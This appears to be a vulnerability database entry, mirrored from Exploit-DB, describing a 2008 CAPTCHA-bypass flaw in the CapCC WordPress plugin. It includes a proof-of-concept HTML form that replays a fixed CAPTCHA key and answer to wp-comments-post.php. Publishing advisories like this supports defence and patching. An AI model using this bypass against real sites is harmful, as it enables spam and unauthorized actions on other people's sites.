Fuctweb CapCC Plugin for WordPress Security-Bypass Vulnerability

vendor:

CapCC Plugin for WordPress

by:

MustLive

7.5

CVSS

HIGH

Security-Bypass

287

CWE

Product Name: CapCC Plugin for WordPress

Affected Version From: CapCC 1.0

Affected Version To: Other versions may also be vulnerable.

Patch Exists: Yes

Related CWE: N/A

CPE: a:fuctweb:capcc_plugin_for_wordpress

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Fuctweb CapCC Plugin for WordPress Security-Bypass Vulnerability

Fuctweb CapCC Plugin for WordPress is prone to a security-bypass vulnerability that occurs in the audio CAPTCHA protocol. Successful exploits may allow attackers to bypass security restrictions and perform unauthorized actions. An example exploit code is provided in the source.

Mitigation:

Upgrade to the latest version of Fuctweb CapCC Plugin for WordPress.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/37103/info

Fuctweb CapCC Plugin for WordPress is prone to a security-bypass vulnerability that occurs in the audio CAPTCHA protocol.

Successful exploits may allow attackers to bypass security restrictions and perform unauthorized actions.

CapCC 1.0 is affected; other versions may also be vulnerable.

<html> <head><base href="http://websecurity.com.ua/uploads/2008/CapCC%20CAPTCHA%20bypass.html" /> <title>CapCC CAPTCHA bypass exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://sitewww.example.com/wp-comments-post.php" method="post"> <input type="hidden" name="author" value="Test"> <input type="hidden" name="email" value="test@www.example.com"> <input type="hidden" name="url" value="http://www.example.com"> <input type="hidden" name="comment" value="Captcha bypass test."> <input type="hidden" name="comment_post_ID" value="1"> <input type="hidden" name="capcc_captchakey" value="EQoenVjf6wemPguoYT6CJwl0O"> <input type="hidden" name="capcc_captcha" value="gthsw"> </form> </body> </html>